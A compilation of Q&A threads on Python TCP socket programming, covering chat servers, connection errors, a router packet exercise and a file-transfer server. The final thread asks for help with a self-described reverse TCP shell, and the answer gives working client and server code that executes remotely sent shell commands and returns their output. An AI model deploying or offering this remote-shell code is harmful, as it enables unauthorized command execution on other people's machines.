I am making a chat program.
I have a (TCP) server which creates a new thread for every connection request it gets.
I'm having problems when the client quits/terminates connection. The server raises an error(below). How do I handle it?
And, the server has to send the 'data' it receives from one client to another (changeable) client.
How do I implement this??
I receive this error when the client quits :
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python2.7 For Chintoo\lib\threading.py", line 552, in __bootstrap_inner
self.run()
File "C:\Python2.7 For Chintoo\lib\threading.py", line 505, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\karuna\Desktop\Jython\Python\My Modules\Network\Multi-server.py", line 23, in recv_loop
data = client.recv(1024)
error: [Errno 10054] An existing connection was forcibly closed by the remote host
My scripts:
Multi-server.py
import os, socket, time, threading, random
class Server:
def __init__(self,host,port,user):
self.port = port
self.host = host
self.user = user
self.bufsize = 1024
self.addr = (host,port)
self.socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
self.socket.bind(self.addr)
print "Server running on",host,"at port",port
self.socket.listen(5)
def recv_loop(server,client,caddr):
print 'Connected To',caddr
while True:
global clients
name = clients[client]
data = client.recv(1024)
if not data:
break
print name + " said: " + data
client.close()
host = 'localhost'
port = random.randint(1025,60000)
user = 'No one'
server = Server(host, port, user)
clients = {}
threads = []
while True:
client, caddr = server.socket.accept()
# name extraction
name = client.recv(1024)
clients[client] = name
thread = threading.Thread(target=recv_loop, args=(server,client, caddr))
thread.start()
client.py
from socket import *
host = 'localhost'
name = raw_input('Enter name: ')
port = int(raw_input('Enter server port: '))
bufsiz = 1024
addr = (host, port)
tcpClient = socket(AF_INET , SOCK_STREAM)
tcpClient.connect(addr)
# sending name
tcpClient.send(name)
while True:
data = raw_input('> ')
if not data:
break
tcpClient.send(data)
raw_input('Enter to Quit')
Problem 1
Just close the socket connection at client side:
raw_input('Enter to Quit')
tcpClient.close()
Problem 2
You are looking at producer consumer problem here.
Basic solution:
Receiving loop should acquire a threading.Condition, update a global array and call notifyAll. Sending loops should acquire the condition, read data from the array and send to client.
I haven't done socket programming in Python, but you might want to cleanly close your socket connection before the client quits. I would use close method in the client.
Related
I get this error when i connect on the client.
felix+
Traceback (most recent call last):
File "c:\Users\felix\Documents\CODE\Uno02\uno02_server.py", line 23, in <module>
server.send(join.encode('utf-8'))
OSError: [WinError 10057] A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied
The client simply receives some information from the user, and connects to the server. I am not sure what I typed wrong
Client code:
import socket
server_ip = input("Enter the server IP: ")
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((server_ip,42069))
name = input("Please enter a username: ")
client.send(name.encode())
while True:
server_msg = client.recv(1024)
print(server_msg.decode())
and server code:
name_list = []
ip_list = []
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("127.0.0.1",42069))
server.listen()
while(True):
(clientConnected, clientAddress) = server.accept()
print("connection gained %s:%s"%(clientAddress[0], clientAddress[1]))
clientdata = clientConnected.recv(1024)
name = clientdata.decode()
join = name + " joined"
name_list.append(clientdata)
ip_list.append(clientAddress[0])
print(name+"+")
server.send(join.encode('utf-8'))
Replace
server.send(join.encode('utf-8'))
by
clientConnected.send(join.encode('utf-8'))
check Python TCP Communication for further details
I am trying to send packet data between two sockets using socket programming in python, basically the instructions Ive been given is to make 6 routers (im just doing two right now) and have them send packets to eachother and such, the instructions specify that I have to run the second router first then run the first (the first is the one that is reading the packets.csv file) But whenever I run the second router and then the first I get this error form the first
Traceback (most recent call last):
File "router1_skeleton.py", line 185, in <module>
socket = create_socket(host,port)
File "router1_skeleton.py", line 15, in create_socket
soc.bind((host,port))
OSError: [Errno 98] Address already in use
If I understand correctly the way to make this work is to set up the socket in router 2 which I have here
# 1. Create a socket.
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 2. Try connecting the socket to the host and port.
soc.bind((host,port))
soc.listen(5)
try:
conn,addr = soc.accept()
except:
print("Connection Error to", port)
sys.exit()
# 3. Return the connected socket.
return soc
And then for my first router I write
def create_socket(host, port):
# 1. Create a socket.
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 2. Try connecting the socket to the host and port.
soc.bind((host,port))
soc.listen(5)
try:
#print("hello")
conn,addr = soc.accept()
print("Received connection fron:", addr)
conn.send('Thank you for connecting'.encode())
except:
print("Connection Error to", port)
sys.exit()
# 3. Return the connected socket.
#print(soc)
return soc
Then I send data using soc.send(new_packet.encode())
and router 2 should be getting the data with this line and it should be working but it breaks along here
while True:
# 8. Accept the connection.
connection, address = soc.accept()
print("Accepted a connection from: ", address)
data = soc.rev(1024)
print(data.decode())
##ip, port =
print("Connected with " + ip + ":" + port)
Any suggestions are very welcome!
EDIT: Broken pipe / Transport endpoint error
if newport == 2:
print("sending packet", new_packet, "to Router 2")
socket.send(new_packet.encode())
write_to_file("output/sent_by_router_1.txt", new_packet, 2)
I use this to send the data to router 2 and this should receive it
while True:
# 8. Accept the connection.
connection, address = soc.accept()
print("Accepted a connection from: ", address)
data = soc.recv(1024)
print(data.decode())
This is the error I get
File "router1_skeleton.py", line 237, in <module>
socket.send(new_packet.encode())
BrokenPipeError: [Errno 32] Broken pipe
I am having a client-server program to send from the server to the client
the server in a different folder from the client (like there is a folder for the server code and another folder for the client code)
-when running the server and the client the server gives me an error that the socket disconnect and i don't know why:
Traceback (most recent call last):
File "server.py", line 30, in
s.send(ans.encode(FORMAT))
OSError: [WinError 10057] A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was s
upplied
the server code:
import socket
import os
import json
SIZE = 1024
FORMAT = "utf-8"
# creating a TCP socket
print('\n','_'*50,"\n\nThe server started.. ")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("127.0.0.1", 5100))
# converted into passive socket - queue up to 2 requests
print("\n\nThe server is listening.. ")
s.listen(5)
while True:
cli, sockname = s.accept()
print('Accepted request from', sockname[0], 'with port number', sockname[1])
listoffile= [x for x in os.listdir() if x.endswith(".txt")]
ans =json.dumps(listoffile)
thelist=ans.replace(',','\n').replace('[',"").replace('"',"").replace(']',"")+"\n exit"
print('\n The server will send the list to the client:\n',thelist)
s.sendall(ans.encode(FORMAT))
rec = cli.recv(SIZE).encode(FORMAT)
if rec != 'exit':
with open(rec,'rb') as f:
filetosend =f.read(SIZE)
s.sendall(filetosend.encode(FORMAT))
elif rec == 'exit':
cli.close()
s.close()
The client code:
import socket
host = '127.0.0.1'
port = 5100
SIZE = 1024
FORMAT = "utf-8"
# creating a TCP socket
print('\n','_'*50,"\n\nThe client side started.. ")
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect((host, port))
while True:
msg = c.recv(SIZE).decode(FORMAT)
msg=msg.replace(',','\n').replace('[',"").replace('"',"").replace(']',"")+"\n exit"
print(f"Choose one of the file to get a copy: {msg}")
filename = input("Enter the file name or exit to quit:")
if filename != 'exit':
c.send(filename.encode(FORMAT))
f=open(filename,'wb')
data=c.recv(SIZE)
f.write(data)
print('The file {filename} is copied.')
elif filename == 'exit':
c.close()
I have two pieces of code, a server and a client for a chat application using python 'socket' and 'selectors' modules. The 'service_connection' function should only do something when a socket is ready for reading. However as far as i'm aware, all the client does is send a message containing the client's username. This is dealt with in 'accept_connection' function. However I then receive an error resulting from the 'service_connection' function. Why is my program getting to this point?
Client:
import socket
import selectors
HEADER_LENGTH = 10
HOST = '127.0.0.1'
PORT = 54321
username = input('Enter username: ')
# Set up client socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.setblocking(False)
# Send username to server with a header
username_enc = username.encode("utf-8")
user_header = f'{len(username_enc):<{HEADER_LENGTH}}'.encode("utf-8")
sock.send(user_header + username_enc)
Server:
import socket
import selectors
HEADER_LENGTH = 10
HOST = '127.0.0.1'
PORT = 54321
clients = [] # List for storing client information
def accept_connection(sock):
"""Function to accept a new connection"""
conn, addr = sock.accept()
print(f'Connected to by {addr}')
conn.setblocking(False)
# Receive first message. This will contain username
user_header = conn.recv(HEADER_LENGTH)
username_length = int(user_header.decode("utf-8").strip())
username = conn.recv(username_length).decode("utf-8")
# Register socket with sel
events = selectors.EVENT_READ | selectors.EVENT_WRITE
data = {"addr": addr, "username": username, "socket": conn}
sel.register(conn, events, data=data)
clients.append(data)
def service_connection(key, mask):
"""Function to service an existing connection"""
sock = key.fileobj
data = key.data
# Check for read events
if mask & selectors.EVENT_READ:
# Receive message from socket
msg_header = sock.recv(HEADER_LENGTH)
if msg_header is None:
print(f'Closing connection to {data.addr}')
sel.unregister(sock)
sock.close()
clients = [client for client in clients if client.addr!=data.addr]
return None
msg_length = int(msg_header.decode("utf-8").strip())
msg = sock.recv(msg_length).decode("utf-8")
# Create username header
username_enc = data.username.encode("utf-8")
user_header = f'{len(username_enc):<{HEADER_LENGTH}}'.encode("utf-8")
# Distribute message to all other connected clients
for client in clients:
if client.addr == data.addr:
continue
client.socket.send(user_header + msg_header + msg.encode())
# Set up listening socket
lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
lsock.bind((HOST, PORT))
lsock.listen()
lsock.setblocking(False)
# Set up selectors object
sel = selectors.DefaultSelector()
sel.register(lsock, selectors.EVENT_READ, data=None)
# Loop over blocking calls to select
while True:
events = sel.select()
for key, mask in events:
if key.data is None:
# Listening socket is ready. Accept new connection
accept_connection(key.fileobj)
else:
# Existing socket is ready. Service it
service_connection(key, mask)
Both server and client run as expected. However once I provide a username in the client script, I receive the following output server-side:
Connected to by ('127.0.0.1', 62636)
Traceback (most recent call last):
File "server.py", line 78, in <module>
service_connection(key, mask)
File "server.py", line 44, in service_connection
msg_length = int(msg_header.decode("utf-8").strip())
ValueError: invalid literal for int() with base 10: ''
This is because when the client script is finished it sends 0 bytes to the server and closes the socket connection. The server-side socket therefore has 0 bytes ready for reading. For service_connection() to work properly the line if msg_header is None: needs to be changed to if not msg_header:
So, I've been experimenting with Python's socket module and I've created a simple TCP client/server setup. Everything's running on the same system (Win7x64), on the ip 192.168.1.3
Here's the client (It's a reverse TCP connection):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
Here's the server:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
Here's the output that I receive on the server:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
And then it just hangs there. No matter what I get the client to send, it just won't receive it. The commands are successful on the client's side but the output isn't sent back.
Halp?
Edit: I've managed to get the output of the command received by the server once by encasing the stuff in the function in a loop:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
So, if I send a dir command, I receive an output once. But on trying to send another command, I get this:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
EDIT:
Can someone recommend an alternative method? What I want to do, is for the server to 1. send a command to the client, 2. the client to execute it and 3. send the output back and 4. the output to be received by the server. And for this to carry on until it's stopped by the user.
TCP is a streaming protocol. Therefore you need some kind of message format for communication. Second, you need a loop, to send commands and read the result. On client side, you also need some kind of message protocol to send the results. I've use json encoded strings and new line as end-of-message character.
The server:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
The client:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
Shashank is right, once it has received data once, it gets back to the accept loop.
If you want to keep receiving for this client while accepting new connections you should consider creating a thread which will handle the connection, and then keep accepting new ones in your main.